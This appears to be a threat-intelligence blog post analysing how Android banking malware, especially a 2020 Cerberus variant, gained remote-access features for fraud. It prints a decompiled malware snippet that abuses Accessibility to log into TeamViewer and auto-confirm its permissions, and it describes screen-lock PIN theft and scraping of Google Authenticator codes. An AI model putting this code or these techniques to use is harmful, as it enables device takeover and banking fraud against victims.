# 2020 - Year of the RAT

Published: 2024-10-01 · Archived: 2026-04-06 00:52:38 UTC

## Intro

According to the Chinese zodiac 2020 is the year of the RAT, and in accordance with the myth the rat tricked his adversary in order to be ahead of him and “win the race”. The RAT mindset is also a growing trend that ThreatFabric analysts have observed in mobile banking Trojans over the last years. This blog provides an overview of the changes that took place in the last months on the mobile banking threat landscape and describes why we can expect an increase in the use of Remote Access Trojans for fraudulent purposes.

Play on words aside, in the world of malware the term RAT stands for Remote Access Trojan. This functionality can be added to malware in order to provide the criminal operator the same degree of (remote) control of the infected device as its owner/user has.

Remote access can be achieved in different ways, for example by using more-or-less native services such as SSH (Secure Shell) or RDP (Remote Desktop Protocol), or even by using third-party software such as TeamViewer, VNC or RAdmin. We want to stress that those tools by themselves are not inherently malicious and are in most cases used for legitimate purposes, such as providing users with support or perform remote administration (hence calling this type of utilities Remote Administration Tools which can cause confusion). Some malicious actors prefer to develop their own code/tools with the hope to remain under the radar while benefiting of similar functionality.

Historically, mobile banking malware was designed and used primarily to access and steal information that facilitates financial fraud. Examples of such information include second factors of authentication (SMS, mTAN) and other secrets that could be used to perform fraud through the targeted banking services. As fraud detection mechanisms used by financial institutions evolved it became harder for criminals to use aforementioned methods without being detected.

Threat actors have conceived diverse ways to circumvent detection mechanisms by impersonating the victim’s device. A famous one is the use of a back-connect proxy on the infected device combined with device fingerprints, allowing the actor’s device to look like the “real” one. Solutions like device binding and fingerprinting allowed financials to detect such techniques, therefore criminals had to innovate again. In this situation RATs are criminals’ Holy Grail, as they offer the ability to perform fraudulent transactions directly from the infected (victim) device. By doing so, criminals are making it substantially harder to detect fraudulent transactions without a client-based detection solution.

In Android banking malware, the RAT capability has not been commonly used due to limitations of the Android operating system (it requires use of the Accessibility Service). Nevertheless, back in 2016 the “Retefe” threat actors were already observed making use of RAT functionality by abusing the TeamViewer application, giving them full control over the infected device. As Retefe is run by a group of experienced Windows malware actors

and because RAT capabilities are quite common in Windows banking malware, the actors probably decided to reuse that approach with Android devices as well.

Threat actors motivated by financial gain have noticed the shift of consumers from desktop towards mobile based online banking. This trend has also resulted in the evolution of mobile malware in order to bypass detection measures. From simple SMS-stealer to fully-fledged RAT with Automated Transaction Systems, criminals continuously innovate to try to remain successful. Hereafter is an overview of recent changes made by some key players in the Android banking malware threat landscape.

## Cerberus

The Cerberus banking Trojan that appeared on the threat landscape end of June 2019 has taken over from the infamous Anubis Trojan as major rented banking malware. While offering a feature-set that enables successful exfiltration of personally identifiable information (PII) from infected devices, Cerberus was still lacking features that could help lowering the detection barrier during the abuse of stolen information and fraud. Mid-January 2020, after new-year celebrations, Cerberus authors came back with a new variant that aimed to resolve that problem, a RAT feature to perform fraud from the infected device.

This new Cerberus variant has undergone refactoring of the code base and updates of the C2 communication protocol, but most notably it got enhanced with the RAT capability, possibility to steal device screen-lock credentials (PIN code or swipe pattern) and 2FA tokens from the Google Authenticator application.

The RAT service is able to traverse the file system of the device and download its contents. On top of that it can also launch TeamViewer and setup connections to it, providing threat actors full remote access of the device.

Once TeamViewer is working, it provides actors with many possibilities, including changing device settings, installing or removing apps, but most notably using any app on the device (such as banking apps, messengers and social network apps). It can also provide valuable insight into victim’s behavior and habits; in case it would be used for espionage purposes.

The following snippet shows the code responsible for TeamViewer login and initialization:

```
 String runningPackage = this.lowerPkgName;
if (getNodeFromEvent.contains("com.teamviewer.host.market")) {
    AccessibilityNodeInfo username = AcccesibilityUtils.getNodeFromEvent(event, "com.teamviewer.host.market:id/
    AccessibilityNodeInfo password = AcccesibilityUtils.getNodeFromEvent(event, "com.teamviewer.host.market:id/
    AccessibilityNodeInfo submit = AcccesibilityUtils.getNodeFromEvent(event, "com.teamviewer.host.market:id/hos
    if (username != null) {
        this.teamviewerUsername = this.utils.readShPrStr(this, this.strings.connect_teamviewer);
        if (!this.teamviewerUsername.isEmpty()) {
            this.teamviewerPassord = this.utils.readShPrStr(this, this.strings.password);
            this.credsSubmitted = false;
            this.passwordFilled = false;
            this.userFilled = false;
            this.permissionStatus = 0;
            this.utils.writeShPrStr(this, this.strings.connect_teamviewer, "");
```

```
            this.utils.writeShPrStr(this, this.strings.password, "");
        }
    }
    if (this.permissionStatus == 0) {
        AccessibilityNodeInfo v7\ _7 = AcccesibilityUtils.getNodeFromEvent(event, "com.teamviewer.host.market:ic
        if (v7_7 != null && AcccesibilityUtils.getNodeFromEvent(event, "com.teamviewer.host.market:id/buttonPane
            this.permissionStatus = 1;
            AccessibilityNodeInfo tmButton = AcccesibilityUtils.getNodeFromEvent(event, "android:id/button1");
            if (tmButton != null) {
                this.acc_utils.clickButton(tmButton);
            }
            AccessibilityNodeInfo klmCheckBox = AcccesibilityUtils.getNodeFromEvent(event, "com.samsung.klmsager
            AccessibilityNodeInfo klmConfirm = AcccesibilityUtils.getNodeFromEvent(event, "com.samsung.klmsagent
            if (klmCheckBox != null && this.permissionStatus == 1) {
                this.acc_utils.clickButton(klmCheckBox);
                this.acc_utils.clickButton(klmConfirm);
                this.permissionStatus = 2;
                Utils utils = this.utils;
                utils.launchPkg(this, "com.teamviewer.host.market");
            }
        }
    }
    if (!this.teamviewerUsername.isEmpty() && !this.teamviewerPassord.isEmpty()) {
        if (username != null && !this.userFilled) {
            this.acc_utils.setInput(username, this.teamviewerUsername);
            this.userFilled = true;
        }
        if (password != null && !this.passwordFilled) {
            this.acc_utils.setInput(password, this.teamviewerPassord);
            this.passwordFilled = true;
        }
        if ((this.userFilled) && (this.passwordFilled) && !this.credsSubmitted) {
            this.permissionStatus = 0;
            this.acc_utils.clickButton(submit);
            this.credsSubmitted = true;
            String v0_9 = this.utils.readShPrStr(this, this.strings.hidden);
            if (v0_9.equals("true")) {
                this.goBack();
            }
        }
    }
}
```

The feature enabling theft of device's screen lock credentials (PIN and lock pattern) is powered by a simple overlay that will require the victim to unlock the device. From the implementation of the RAT we can conclude that this screen-lock credential theft was built in order for the actors to be able to remotely unlock the device in

order to perform fraud when the victim is not using the device. This once more shows the creativity of criminals to build the right tools to be successful.

Abusing the Accessibility privileges, the Trojan can now also steal 2FA codes from Google Authenticator application. When the app is running, the Trojan can get the content of the interface and can send it to the C2 server. Once again, we can deduce that this functionality will be used to bypass authentication services that rely on OTP codes.

This is an example of what the Google Authenticator application looks like:

---